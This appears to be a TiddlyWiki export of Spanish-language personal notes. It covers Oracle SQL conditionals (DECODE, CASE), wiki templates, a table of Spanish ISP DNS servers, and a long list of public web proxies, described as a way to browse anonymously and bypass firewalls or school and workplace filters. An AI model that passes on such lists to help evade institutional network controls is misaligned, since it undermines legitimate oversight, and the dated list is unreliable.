ELSIF columna = valorN THEN
resultado := sustitucionN;
ELSE
resultado := sustitucionDefecto
ENDIF;
}}}
! Función DECODE
Es la construcción más antigua y compacta, pero también la más anti-intuitiva y difícil de leer. A esta función se le pasa un parámetro al principio, que será la columna cuyo valor se usará para realizar las comparaciones ({{{columna }}} en el ejemplo del {{{IF}}}) y los valores y sus sustituciones se pasan en parejas. El último parámetro, si se suministra, será el valor de sustitución por defecto. El ejemplo del {{{IF}}} queda de la siguiente manera:
{{{
SELECT DECODE(columna,
valor1, sustitucion1,
valor2, sustitucion2,
valorN, sustitucionN,
sustitucionDefecto) as col_decode
FROM tabla;
}}}
! Construcción CASE
La construcción {{{CASE}}} es más completa, legible y elegante, y permite utilizar operaciones lógicas más complejas que la mera comparación de valores. Esta construcción se presenta de dos maneras, una que sólo permite usar el operador de igualdad en las comparaciones y sirve como sustituto directo de {{{DECODE}}}, y otra que permite utilizar cualquier expresión lógica para calcular el valor de sustitución.
!! CASE con operador de igualdad inplícito
Esta es la versión sencilla.
{{{
SELECT CASE columna
WHEN valor1 THEN sustitucion1
WHEN valor2 THEN sustitucion2
WHEN valorN THEN sustitucionN
ELSE sustitucionDefecto
END as col_case
FROM tabla;
}}}
!! CASE con expresión lógica arbitraria
Con esta versión se puede utilizar cualquier expresión lógica. Nótese que se utilizar operadores lógicos sólo para demostrar que no es necesario utilizar unicamente el de igualdad, pero cualquier expresión lógica, incluso una que no utilice {{{columna}}}, será válida.
{{{
SELECT CASE
WHEN columna < valor1 THEN sustitucion1
WHEN columna <> valor2 THEN sustitucion2
WHEN columna > valorN THEN sustitucionN
ELSE sustitucionDefecto
END as col_case
FROM tabla;
}}}
! Uso de condicionales con GROUP BY
Al usar una de estas construcciones combinada con un {{{GROUP BY}}} hay que tener el cuenta que el campo que se debe utilizar no es el alias de la expresión (en estos ejemplos {{{col_case}}} y {{{col_decode}}}, si no la columna que se utiliza para realizar la sustitución (en los ejemplos {{{columna}}}). Ejemplo:
{{{
SELECT CASE
WHEN columna < valor1 THEN sustitucion1
WHEN columna <> valor2 THEN sustitucion2
WHEN columna > valorN THEN sustitucionN
ELSE sustitucionDefecto
END as col_case
FROM tabla
GROUP BY columna;
}}}
!Descripción
Apuntes sobre servicios online
!Apuntes rápidos
*
!Enlaces interesantes
* ''Google Wave:''
** Introducción: http://lifehacker.com/5376138/google-wave-101
** Listado de bots: http://googlewavebots.info/wiki/index.php?title=Main_Page
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre
!Apuntes rápidos
!Enlaces interesantes
* Documentación general:
** XML-RPC vs [[SOAP]]: http://weblog.masukomi.org/writings/xml-rpc_vs_soap.htm
** XML-RPC: http://www.xmlrpc.com/
** XML-RPC Howto: http://www.tldp.org/HOWTO/XML-RPC-HOWTO/index.html
** [[SOAP]]: http://www.w3.org/TR/SOAP/
* Servicios web interesantes:
** wunderground API: http://wiki.wunderground.com/index.php/API_-_XML
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Tabla de servidores ADSL
//Extraida de// http://www.adslayuda.com/dns.html
|sortable|k
|!Operadora |!IP |!Tiempo en resolver |!Hostname |h
|Arrakis |195.5.64.2 |0.006 ms |ns1.landsraad.net |
|Arrakis |195.5.64.6 |0.006 ms |ns2.landsraad.net |
|Arsys |217.76.128.4 |0.006 ms |llnb787.servidoresdns.net |
|Arsys |217.76.129.4 |0.017 ms |llnb788.servidoresdns.net |
|Comunitel |212.145.4.97 |0.006 ms |ns1.comunitel.net |
|Comunitel |212.145.4.98 |0.006 ms |ns2.comunitel.net |
|Euskaltel |212.55.8.132 |0.044 ms |dns.euskaltel.es |
|Euskaltel |212.55.8.133 |0.016 ms |dns2.euskaltel.es |
|Jazztel |62.14.63.145 |0.006 ms |145.63.14.62.static.jazztel.es |
|Jazztel |62.14.2.1 |0.006 ms |1.2.14.62.static.jazztel.es |
|Jazztel |62.14.4.65 |0.006 ms |dnscache2.jazzvisp.com |
|Jazztel |62.14.4.64 |0.006 ms |dnscache1.jazzvisp.com |
|Jazztel ADSL2+ |87.216.1.65 |0.007 ms |65.1.216.87.static.jazztel.es |
|Jazztel ADSL2+ |87.216.1.66 |0.006 ms |66.1.216.87.static.jazztel.es |
|Metrored |80.251.75.5 |0.006 ms |ns5.albura.net |
|Metrored |80.251.75.6 |0.006 ms |ns6.albura.net |
|Ono |62.81.31.250 |0.038 ms |dns.iddeo.es |
|Ono |62.81.61.2 |0.035 ms |mayor.red.ono.es |
|Ono |62.81.0.35 |0.035 ms |62.81.0.35.static.user.ono.com |
|OpenforYou |213.195.64.64 |0.006 ms |ns1.ibercom.com |
|Openforyou |213.194.144.1 |0.006 ms |ns2.ibercom.com |
|Orange |62.81.0.33 |0.011 ms |madr-dns1.red.retevision.es |
|Orange |62.81.16.129 |0.036 ms |dns1.red.retevision.es |
|Orange |62.36.225.150 |0.006 ms |dnscachem.wanadoo.es |
|Orange |62.37.228.20 |0.007 ms |m2dnscache.net.uni2.es |
|Tele 2 |130.244.127.161 |0.007 ms |dns1.swip.net |
|Tele 2 |130.244.127.169 |0.006 ms |dns2.swip.net |
|Tele2 - Comunitel |212.145.159.141 |0.006 ms |ns3.comunitel.net |
|Telefonica Data |80.58.0.33 |0.006 ms |33.Red-80-58-0.staticIP.rima-tde.net |
|Telefonica Data |80.58.32.97 |0.006 ms |97.Red-80-58-32.staticIP.rima-tde.net |
|Telefónica España |80.58.61.250 |0.006 ms |250.Red-80-58-61.staticIP.rima-tde.net |
|Telefónica España |80.58.61.254 |0.007 ms |254.Red-80-58-61.staticIP.rima-tde.net |
|Telefónica-Perú |200.48.225.130 |0.006 ms |cachewas.tdp.net.pe |
|Telefónica-Perú |200.48.225.146 |0.006 ms |cachesis.tdp.net.pe |
|Terra |194.224.52.36 |0.006 ms |ns1.telefonica-data.com |
|Terra |194.224.52.37 |0.017 ms |ns2.telefonica-data.com |
|Tiscali |194.224.52.37 |0.006 ms |ns2.telefonica-data.com |
|Uni 2 |62.37.225.56 |0.006 ms |dns.comtenidos.com |
|Uni 2 |62.37.225.57 |0.006 ms |dns2.comtenidos.com |
|Vodafone |212.73.32.3 |0.006 ms |dns1m11.airtel.es |
|Vodafone |212.73.32.67 |0.006 ms |dns2b11.airtel.es |
|Wanadoo |62.36.225.150 |0.006 ms |dnscachem.wanadoo.es |
|Wanadoo |62.37.228.20 |0.006 ms |m2dnscache.net.uni2.es |
|Ya.com |62.151.2.8 |0.006 ms |dns.ya.com |
|Ya.com |62.151.4.21 |0.007 ms |acceso.ya.com |
|Ya.com |62.151.20.6 |0.013 ms |ns2.bs-ya.com |
Listado de proxys públicos (en orden alfabético) para navegar anónimamente o saltarse firewalls o proxys locales (extraidos de http://proxy.org):
* http://001proxy.com
* http://007proxy.info
* http://08elections.info
* http://0on.org
* http://0p1.net
* http://0pros.com
* http://11the.info
* http://121proxy.info
* http://123browse.info
* http://123download.info
* http://123proxies.info
* http://123proxygod.info
* http://12the.info
* http://13prox.info
* http://13the.info
* http://168proxy.cn
* http://1800proxy.com
* http://1foru.org
* http://1qcc.com
* http://1st-in-webhosting.com
* http://2000proxy.com
* http://2008proxy.com
* http://2012uk.info
* http://20the.info
* http://23a.org
* http://247proxy.info
* http://24proxy.com
* http://24topproxy.com
* http://24traffic.info
* http://2daily.info
* http://2fast2see.info
* http://2surf.info
* http://2unblocknow.info
* http://311proxy.com
* http://311proxy.info
* http://321proxy.cn
* http://365unblockme.info
* http://3ga.org
* http://3tiered.org
* http://4--m.com
* http://411proxy.info
* http://411proxy.net
* http://41h.org
* http://43j.org
* http://466452.com
* http://466454.com
* http://4j4.org
* http://4ra.net
* http://4ri.net
* http://4surf.info
* http://51a.org
* http://57456345.info
* http://5km.es
* http://68t.org
* http://6ad.org
* http://6vz.info
* http://6w7.info
* http://70m.org
* http://75i.net
* http://786proxy.info
* http://78n.org
* http://7dl.com
* http://7n4.net
* http://7proxy.info
* http://7rg.org
* http://80i.org
* http://8au.net
* http://8hj.org
* http://911surf.info
* http://98f.org
* http://99geek.info
* http://9m6.net
* http://9rh.org
* http://a-pass.info
* http://a27.info
* http://a28.info
* http://a29.info
* http://a34.info
* http://a37.info
* http://a43.info
* http://a45.info
* http://a48.info
* http://a53.info
* http://a54.info
* http://a56.info
* http://a57.info
* http://a59.info
* http://a61.info
* http://a62.info
* http://a65.info
* http://a71.info
* http://a74.info
* http://a81.info
* http://a82.info
* http://a83.info
* http://a84.info
* http://a86.info
* http://a87.info
* http://a89.info
* http://a91.info
* http://a92.info
* http://a93.info
* http://a94.info
* http://a96.info
* http://a97.info
* http://aaaprox.info
* http://aaaproxy.info
* http://aaasitters.org
* http://aadq.net
* http://aaxw.com
* http://aboutocean.cn
* http://absurf.info
* http://academyloan.info
* http://academyonlineloan.info
* http://accesproxy.info
* http://access24h.com
* http://access24h.info
* http://access2u.info
* http://accessallsites.info
* http://accessanysite.info
* http://accessatschool.info
* http://accessforme.info
* http://accessitnow.com
* http://accessname.com
* http://acidicclub.info
* http://acidicit.info
* http://acrs.info
* http://adegmb.info
* http://adeniji.net
* http://adhesivekeyboardonline.info
* http://adlermandel.com
* http://adminbypass.com
* http://adminbypass.info
* http://adminfilter.com
* http://adminfilter.info
* http://adminproof.com
* http://adminriot.com
* http://adminriot.info
* http://adminrip.com
* http://adminrip.info
* http://adminvip.com
* http://adminvip.info
* http://adventure2u.info
* http://aebrowser.info
* http://aeproxy.info
* http://aeroportproxy.info
* http://aeropuertoproxy.info
* http://afastway.com
* http://afunnel.com
* http://againshed.info
* http://againstand.info
* http://agenthide.info
* http://agitha.info
* http://agnas.info
* http://agnus.info
* http://ahide.info
* http://aidinternet.com
* http://ainyr.com
* http://air-proxy.com
* http://airportproxy.info
* http://airsurf.info
* http://alcohog.info
* http://alittletrick.info
* http://alkonym.com
* http://allhide.info
* http://allnewproxy.cn
* http://allowby.com
* http://allowgames.info
* http://allsurf.info
* http://alohaproxy.com
* http://alphaunblocker.info
* http://alterproxy.info
* http://always-on.cn
* http://alwaysavailable.info
* http://alwayson.org.cn
* http://amazingproxy.info
* http://amazingspeed.info
* http://amazingunblocker.info
* http://americandancenow.info
* http://andromedae1.info
* http://angelicproxy.info
* http://angelproxy.net
* http://angryant.info
* http://angrymanexplodes.com
* http://angryproxe.info
* http://animes-bg.com
* http://anisurf.info
* http://anon-procksy.info
* http://anon-proxy.com
* http://anonasurf.com
* http://anonbyproxy.info
* http://anonfilter.info
* http://anonibrowse.net
* http://anonomizeme.info
* http://anonoxy.com
* http://anonproxysite.net
* http://anontastic.info
* http://anony-proxy.com
* http://anonybrowser.info
* http://anonycure.com
* http://anonym.cn
* http://anonymousbypass.info
* http://anonymouscamp.org
* http://anonymouscheck.info
* http://anonymouse.org
* http://anonymoused.info
* http://anonymouser.info
* http://anonymousguy.info
* http://anonymoushttp.info
* http://anonymouslive.info
* http://anonymousnet.info
* http://anonymousone.info
* http://anonymousonline.info
* http://anonymouspass.info
* http://anonymousplace.info
* http://anonymousproxy.co.za
* http://anonymousproxy2.com
* http://anonymoussocks.info
* http://anonymoususer.info
* http://anonymousway.info
* http://anonymousyou.info
* http://anonypost.com
* http://anonyproxi.com
* http://anonysurf.info
* http://anonysurfing.info
* http://anonyview.info
* http://anosurf.info
* http://anproxy.cn
* http://antares1.info
* http://antiblocker.net
* http://antifilters.info
* http://antisurfer.com
* http://antiwork.info
* http://anybodysunblocker.info
* http://anybodysunlocker.info
* http://anysurf.info
* http://aolli.info
* http://apbiology.info
* http://apcalculus.info
* http://apchemistry.info
* http://apidns.com
* http://apliterature.info
* http://appleproxy.net
* http://aproxymously.info
* http://aproxyz.com
* http://aptunnel.com
* http://apushistory.info
* http://ar7.org
* http://arabiansurfer.info
* http://arabsurf.info
* http://arabsurfer.info
* http://archan.luhars.com
* http://areaschool.info
* http://arielsurf.info
* http://armyproxy.com
* http://aroxy.info
* http://artichoque.info
* http://artscollege.info
* http://aschoolproxy.com
* http://asiasurf.info
* http://aslevels.info
* http://asmsp.com
* http://asneak.info
* http://assban.com
* http://astroproxy.info
* http://asurprise.info
* http://atedplace.org
* http://atkati.com
* http://atlproxy.info
* http://atmnetwork.org
* http://atunnel.com
* http://aulab.info
* http://aussieproxy.info
* http://aussiesurf.info
* http://autounblock.com
* http://avatarecool.info
* http://avoid.cc
* http://avoider.info
* http://avoidfilters.info
* http://avoidfirewall.com
* http://avoidr.com
* http://avoidwebsense.com
* http://avpas.org
* http://azder.info
* http://b-pass.info
* http://b65.org
* http://b80.org
* http://babeproxy.info
* http://babesurf.info
* http://babylonproxy.info
* http://babyproxy.cn
* http://babyunblocker.info
* http://babyyack.com
* http://backfox.com
* http://backupdestination.com
* http://badabang.info
* http://badabum.info
* http://badum.info
* http://badumchish.info
* http://badunka.info
* http://bakaadmin.com
* http://bakaw.info
* http://banmenot.com
* http://bannedbypass.com
* http://banover.info
* http://barrelroll.info
* http://bazam.info
* http://bazonk.info
* http://bazow.info
* http://bc1.org
* http://beanon.info
* http://beanybody.info
* http://beanyone.info
* http://beanywhere.info
* http://bearproxy.info
* http://beasneak.info
* http://beatbluecoat.com
* http://beatfiltering.com
* http://beatfilters.com
* http://beblockfree.info
* http://bebo248.info
* http://beboanytime.info
* http://beboatschool.info
* http://bebofinder.com
* http://bebofree.com
* http://bebofriend.info
* http://beboob.info
* http://beboproxy.info
* http://bebotoolkit.com
* http://bebounlocker.com
* http://becomeanhero.info
* http://becomehidden.com
* http://behidden.com
* http://bellproxy.com
* http://berbo.info
* http://bestanon.info
* http://bestanonymous.info
* http://bestdancenow.info
* http://besteducate.info
* http://bestfreesite.info
* http://besthiddensurf.info
* http://bestopenproxy.info
* http://bestproxy4u.info
* http://bestproxyever.com
* http://bestproxyever.info
* http://bestproxyopen.info
* http://bestproxyworld.info
* http://bestprxies.info
* http://bestprxy.info
* http://bestschool-network.info
* http://bestsecret.info
* http://bestsupersearchsite.com
* http://bestunblock.info
* http://bestunknown.info
* http://bestunlock.info
* http://bestwebsitefilter.com
* http://bestwebunblock.info
* http://besurfing.com
* http://betaunblocker.info
* http://beumi.com
* http://bewherever.info
* http://bigbadproxy.com
* http://bigdirect.info
* http://bigfilters.info
* http://biggerproxy.com
* http://biggerproxy.info
* http://bigproxy4u.info
* http://bigsocial.info
* http://bigweblive.info
* http://binary1.co.uk
* http://biotunnel.com
* http://bironltd.com
* http://bitchz.net
* http://bitkit.info
* http://bizbrowser.net
* http://blackcatproxy.info
* http://blackcode.co.uk
* http://blackentry.com
* http://blairstownnj.org
* http://blankbrowse.com
* http://blastproxy.com
* http://blebo.info
* http://blind-ip.com
* http://blingsurf.net
* http://blockaway.com
* http://blockbeater.com
* http://blockbegone.com
* http://blockbreaker.info
* http://blockd.info
* http://blocked-sites.com
* http://blockedescaper.info
* http://blockednomore.com
* http://blockerbeater.info
* http://blockerbypass.info
* http://blockercheat.info
* http://blockercracker.info
* http://blockerdodge.info
* http://blockerfight.info
* http://blockerrelief.info
* http://blockerresister.info
* http://blockerstopper.net
* http://blockmenot.biz
* http://blockmenot.com
* http://blockmenot.net
* http://blockmenow.info
* http://blockmyidentity.info
* http://blockoff.info
* http://blockresist.info
* http://blotta.info
* http://bluebypass.info
* http://blueskyproxy.com
* http://bluprox.com
* http://blurfilter.com
* http://blurmyip.com
* http://bobblebe.info
* http://bobblebeby.info
* http://bogbone.com
* http://bonusunblocker.info
* http://bookavenue.info
* http://bookbypass.info
* http://booksproxy.info
* http://boomproxy.com
* http://boozeimport.com
* http://borderbypass.info
* http://boredatschool.net
* http://botprox.net
* http://bowchiggabowwow.info
* http://boxproxy.com
* http://bozno.info
* http://bozod.info
* http://bpoint.info
* http://brabomek.com
* http://bratlii.info
* http://brazilsurf.info
* http://break-rules.info
* http://breakcode.info
* http://breakip.info
* http://breaknow.info
* http://breakprox.com
* http://breakprox.info
* http://breakrules.info
* http://brian.accu.org
* http://briskpass.com
* http://briskproxy.com
* http://britishproxy.com
* http://brokenlove.net
* http://brongo.info
* http://bronzeproxy.info
* http://broque.info
* http://broquen.info
* http://browse-anonymously.com
* http://browse-faceparty.info
* http://browse-free.com
* http://browse-from-school.com
* http://browse-from-work.com
* http://browse12.info
* http://browse14.info
* http://browse16.info
* http://browse17.info
* http://browse24h.com
* http://browsealone.com
* http://browsealone.info
* http://browseaway.info
* http://browsebreak.info
* http://browsebrisk.com
* http://browsebuddy.info
* http://browseeasy.info
* http://browseeverything.info
* http://browsefacebook.info
* http://browsefaster.info
* http://browsefilteredsites.info
* http://browseforfree.info
* http://browseforunblock.info
* http://browsefreely.com
* http://browsehere.info
* http://browsehidden.info
* http://browsein.info
* http://browseinternet.info
* http://browseinvis.com
* http://browseit.info
* http://browseprox.com
* http://browseprox.info
* http://browser4all.com
* http://browser9.info
* http://browseranonymizer.com
* http://browsercloak.info
* http://browsershield.info
* http://browseunfiltered.info
* http://browseup.info
* http://browseurl.info
* http://browseurls.com
* http://browseverything.info
* http://browsewhatyouwant.info
* http://browsinghelper.com
* http://browsta.info
* http://bsneak.info
* http://btunnel.com
* http://btunnel.info
* http://buddyhide.info
* http://budproxy.cn
* http://burstout.net
* http://burstsurf.com
* http://burytheblocks.info
* http://burythefilters.info
* http://businessfilter.info
* http://busttheblocks.info
* http://bvdy.com
* http://byebyefirewall.cn
* http://bypass-download.info
* http://bypass-firewall.net
* http://bypass-torrent.info
* http://bypass4you.info
* http://bypassblocks.info
* http://bypasscensorship.info
* http://bypassclass.com
* http://bypasscorner.info
* http://bypassd.com
* http://bypassdirect.info
* http://bypasseducation.com
* http://bypassfilter.net
* http://bypassfirewall.net
* http://bypassfirewall.org
* http://bypassgenie.com
* http://bypassguide.info
* http://bypassingfilters.com
* http://bypassinternetfilters.com
* http://bypassitnow.info
* http://bypasslink.com
* http://bypasslocks.info
* http://bypassmax.info
* http://bypassme.info
* http://bypassmy.net
* http://bypassmyspace.net
* http://bypasspro.info
* http://bypassproxies.info
* http://bypassproxy.net
* http://bypasssafe.info
* http://bypasssupport.info
* http://bypassthru.com
* http://bypasstool.com
* http://bypasstown.info
* http://bypassway.net
* http://bypasswebfilter.com
* http://bytego.com
* http://bytego.info
* http://bywhat.com
* http://bz8.org
* http://c-pass.info
* http://cacheless.org
* http://cachemy.info
* http://cairex.com
* http://calculatepie.com
* http://callforproxy.cn
* http://cammosurf.info
* http://cammosurfing.info
* http://campuscloak.info
* http://cancerproxy.info
* http://cantbustme.com
* http://cantcatchme.info
* http://cantseemehere.info
* http://cantstopit.info
* http://cantstopthis.info
* http://capturable.com
* http://car-accident-attorney.org
* http://cardsurf.info
* http://caseek.info
* http://cashsweetcash.com
* http://cbrowse.info
* http://cdgproxy.info
* http://cecid.com
* http://cellproxy.info
* http://cellsurf.info
* http://centauri1.info
* http://centerschool.info
* http://cfunnel.com
* http://cgiproxystartusing.info
* http://chairproxy.info
* http://chairsurf.info
* http://changeinternet.com
* http://chatunblocker.info
* http://cheapticketsdepot.com
* http://cheatblockers.info
* http://cheatfilters.info
* http://checkproxy.info
* http://cherryproxy.info
* http://chesscave.com
* http://chickenprox.chickenkiller.com
* http://chiggin.info
* http://chigginprox.info
* http://chiggun.info
* http://chiggunprox.info
* http://chinahtw.com
* http://chiquago.info
* http://chiquin.info
* http://chirble.info
* http://choons.info
* http://churble.info
* http://cilm.us
* http://cinema365.info
* http://circumvent.us
* http://circumventer.info
* http://circumventors.info
* http://citysolar.info
* http://civilpoint.info
* http://clammo.info
* http://clamway.info
* http://clango.info
* http://clanzhost.com
* http://claque.info
* http://classsucks.info
* http://clearsurf.info
* http://clearunblocker.info
* http://clearwebahead.com
* http://cleverbytes.net
* http://cleversurfer.info
* http://cleverviewer.info
* http://clickcop.com
* http://clickinto.cn
* http://clicksurf.info
* http://clicktopass.info
* http://cloak-bebo.info
* http://cloak-forums.info
* http://cloak-me.info
* http://cloak-torrent.info
* http://cloakall.info
* http://cloakboss.info
* http://cloakdom.com
* http://cloakingyour.info
* http://cloakip.net
* http://cloakloan.info
* http://cloakme.us
* http://cloakmyspace.info
* http://cloaknsurf.net
* http://cloakpal.com
* http://cloakpro.info
* http://cloaksurf.info
* http://cloakwiz.com
* http://cloakyour.info
* http://clumper.info
* http://clumpet.info
* http://clumpette.info
* http://clumzy.org
* http://cmwong.com
* http://coastcollege.info
* http://college2u.info
* http://collegearea.info
* http://collegeathlete.info
* http://collegebusiness.info
* http://collegeclass.info
* http://collegeeagles.info
* http://collegefree.info
* http://collegegift.info
* http://collegegoal.info
* http://collegegroup.info
* http://collegeguidance.info
* http://collegehomepage.info
* http://collegeloanblog.info
* http://collegeloanlive.info
* http://collegeloanweb.info
* http://collegelogo.info
* http://collegelondon.info
* http://collegemusic.info
* http://collegeonlineloan.info
* http://collegeparent.info
* http://collegereport.info
* http://collegeroad.info
* http://collegesloan.info
* http://collegesneak.info
* http://collegesnow.info
* http://collinscollege.info
* http://cometake.com
* http://comicalgame.com
* http://comproxy.com
* http://compsee.info
* http://compsy.info
* http://computerclass.info
* http://computersurf.info
* http://con-note.com
* http://concealedview.info
* http://concealedweb.com
* http://concealedweb.info
* http://concealmyip.com
* http://concealmyspace.com
* http://conceals.info
* http://concealsites.info
* http://concealthat.info
* http://confidencial.biz
* http://connectnow.info
* http://connetproxy.info
* http://connypug.org
* http://cookhappy.cn
* http://cookieparty.info
* http://cookingpaper.com
* http://coolbhutan.info
* http://coolbypass.com
* http://coolcollege.info
* http://coolhide.info
* http://coolidea.info
* http://coolindia.info
* http://coolmyspace.info
* http://coolnepal.info
* http://coolproksea.info
* http://coolproxie.info
* http://coolriver.info
* http://coolspain.info
* http://coolsurf.info
* http://coolsurfer.info
* http://cooluk.info
* http://coolusa.info
* http://coreproxy.com
* http://corona1.co.uk
* http://counterblock.info
* http://countryproxy.com
* http://courtschool.info
* http://covermyass.info
* http://covermyip.info
* http://covertbrowse.info
* http://coverthat.info
* http://covertsurf.info
* http://cprox.info
* http://cproxy.info
* http://cqxin.com
* http://crackblockers.info
* http://crackfilters.info
* http://cracktheblocks.info
* http://crackthefilters.info
* http://crackthis.info
* http://crazyamerica.org
* http://crazytunnel.info
* http://creekcars.info
* http://creekschool.info
* http://crocsy.com
* http://croigo.info
* http://croxy.info
* http://cruzn.net
* http://csneak.info
* http://ctunnel.com
* http://cuppa.info
* http://curlproxy.org
* http://cutchains.info
* http://cutyourself.info
* http://cx2.us
* http://cyberbite.com
* http://cyberproxies.info
* http://cyric.info
* http://d4x.org
* http://dadingle.info
* http://dadongle.info
* http://dadonka.info
* http://dadum.info
* http://dadunka.info
* http://dahproxy.com
* http://dakotacollege.info
* http://damnz.com
* http://danceextra.info
* http://dancenowadvantages.info
* http://dancenowchannel.info
* http://dancenowclub.info
* http://dancenowcom.info
* http://dancenowconnection.info
* http://dancenowday.info
* http://dancenowdirect.info
* http://dancenowexpert.info
* http://dancenowexperts.info
* http://dancenowextra.info
* http://dancenowhost.info
* http://dancenowinternational.info
* http://dancenowlinks.info
* http://dancenowlive.info
* http://dancenowmall.info
* http://dancenownmore.info
* http://dancenowonthenet.info
* http://dancenowplanet.info
* http://dancenowresults.info
* http://dancenowshop.info
* http://dancenowshopper.info
* http://dancenowshopping.info
* http://dancenowshowroom.info
* http://dancenowspecials.info
* http://dancenowstore.info
* http://dancenowsystems.info
* http://dancenowvillage.info
* http://dancenowweb.info
* http://dancenowzone.info
* http://dandysurf.com
* http://dangercat.info
* http://dangermousey.com
* http://danwen.info
* http://dappy.info
* http://dashproxy.com
* http://dashproxy.info
* http://dastrukta.com
* http://dasurf.info
* http://datafil.com
* http://deadirony.com
* http://deathbrains.info
* http://deblox.info
* http://decentproxy.com
* http://decieveadmin.info
* http://decieveblock.info
* http://decievefilters.info
* http://definiteproxy.com
* http://definitesurf.com
* http://defyblockers.info
* http://defyfilters.info
* http://dejacey.com
* http://dejected.co.uk
* http://demonoidproxy.ca
* http://demonoidproxy.com
* http://demonproxy.com
* http://demoproxy.com
* http://denproxy.info
* http://desperateproxy.net
* http://destinyunknown.info
* http://destroyallfilters.com
* http://destroyblockers.info
* http://destroyfilters.info
* http://destroythelocks.info
* http://dfwproxy.info
* http://dhide.info
* http://dhoq.com
* http://diddledo.info
* http://diggaproxy.info
* http://digget.info
* http://digghide.info
* http://digiproxy.org
* http://digproxy.net
* http://dinkus.info
* http://dirtproxy.com
* http://disablefilter.com
* http://disengageblocks.info
* http://disguiedbrowse.info
* http://disguisedbrowsing.info
* http://ditchfilter.info
* http://ditchtheblocks.info
* http://ditchthefilters.info
* http://dnsy.eu
* http://doddledi.info
* http://dodgeblocks.info
* http://dodgefilters.info
* http://dodgelocks.info
* http://dodgethefilters.info
* http://dodgethem.info
* http://dodoproxy.com
* http://dogproxy.info
* http://doinkle.info
* http://dollarproxy.info
* http://domainsurf.info
* http://donblock.com
* http://donblockbebo.info
* http://donblockmyspace.info
* http://donbrowse.info
* http://dontbebanned.info
* http://dontbeblocked.info
* http://dontbecontrolled.info
* http://dontbeseen.info
* http://dontbestopped.info
* http://dontbewatched.info
* http://dontblock.us
* http://dontgetstopped.info
* http://dontlookatme.info
* http://dontshowmyip.info
* http://donttellteachers.info
* http://dontviewme.info
* http://doorproxy.info
* http://dooz.info
* http://dormpass.info
* http://downloadfreedvdmovie.com
* http://downloadpk.com
* http://doxtc.com
* http://dprox.info
* http://draconis1.info
* http://dreambloggr.com
* http://dreamcatchr.com
* http://dringo.info
* http://droar.info
* http://drogo.info
* http://drogon.info
* http://droode.info
* http://drooer.info
* http://droxy.info
* http://drprock.info
* http://drprox.com
* http://drprox.info
* http://drproxy.info
* http://dsneak.info
* http://dspot.info
* http://dtunnel.com
* http://dumbschool.com
* http://dumdeedum.info
* http://dungle.info
* http://duplicity.smellybroom.com
* http://dutysite.info
* http://dvdproxy.info
* http://dvdsurf.info
* http://dweam.info
* http://dwicloak.info
* http://dwimask.info
* http://dy9.org
* http://e-unlock.info
* http://eadip.com
* http://eaq.in
* http://earlylunch.info
* http://eastsurf.info
* http://easy2hide.com
* http://easy2hide.info
* http://easyanonymous.info
* http://easyb.info
* http://easybreakthrough.info
* http://easybypass.net
* http://easyface.info
* http://easyhidden.info
* http://easyproproxy.info
* http://easyprxies.info
* http://easyprxy.info
* http://easysecret.info
* http://easysurfonline.info
* http://easyunblock.net
* http://easyunblocker.com
* http://easyuniversity.info
* http://easyunknown.info
* http://easyvisit.info
* http://easywebsurf.info
* http://eatmyip.com
* http://ecrackz.com
* http://edancenow.info
* http://edgeproxy.net
* http://edgeproxy.org
* http://educationz.org
* http://eedq.net
* http://ehighway66.com
* http://ehighway66.info
* http://ei9.org
* http://eiz.in
* http://elcamp.eu
* http://eldie.info
* http://elite-browsing.info
* http://elite-surfing.info
* http://email-marketing-solutions.com
* http://emailthru.com
* http://emailunblock.info
* http://enable-download.info
* http://enable-ebay.info
* http://enable-faceparty.info
* http://enable-friendster.info
* http://enable-myspace.info
* http://enable-youtube.info
* http://endproxy.info
* http://englishm8.info
* http://englishsneak.info
* http://englishtunnel.com
* http://enjoybrowse.info
* http://enstealth.com
* http://enterthat.info
* http://enterthedoor.info
* http://entryschool.info
* http://epainter.info
* http://eproxi.info
* http://eraseurl.com
* http://eraseurl.info
* http://eroxy.info
* http://escapeblock.info
* http://escapehatch.info
* http://escaperoads.com
* http://esneak.info
* http://essentialunblocker.info
* http://estateschool.info
* http://estealth.net
* http://evade123.com
* http://evadeadmin.info
* http://evadefilter.com
* http://evadelocks.info
* http://evadetheblockers.info
* http://evadethefilters.info
* http://evelez.net
* http://everybrowse.info
* http://everythingdancenow.info
* http://eviewer.info
* http://ewebproxy.com
* http://exem.info
* http://expoze.info
* http://extraunblocker.info
* http://ezba.net
* http://ezbypasssite.info
* http://ezfreeproxy.com
* http://ezhide.info
* http://ezmuh.info
* http://ezpow.com
* http://ezpow.info
* http://ezproxee.info
* http://ezproxi.info
* http://ezproxysite.info
* http://ezproxyworld.info
* http://ezsee.info
* http://ezunblockdirect.info
* http://ezunblocksite.info
* http://ezunblockworld.info
* http://ezytunnel.info
* http://f-pass.info
* http://facebook-unlocker.info
* http://facebook99.com
* http://facebookbox.com
* http://facebookbypass.info
* http://facebooker.info
* http://facebookfilter.info
* http://facebookproxy.in
* http://facebookproxy.us
* http://facebookviewer.info
* http://facebypass.info
* http://faceproxy.info
* http://factorial.ws
* http://fakeout.info
* http://faloro.info
* http://fancyunblocker.info
* http://farmproxy.com
* http://farst.info
* http://fastassproxy.com
* http://fastcloak.com
* http://fasteasyproxy.com
* http://fasteasytunnel.info
* http://fasterproxy.info
* http://fastgoogler.com
* http://fasthide.info
* http://fastpeek.info
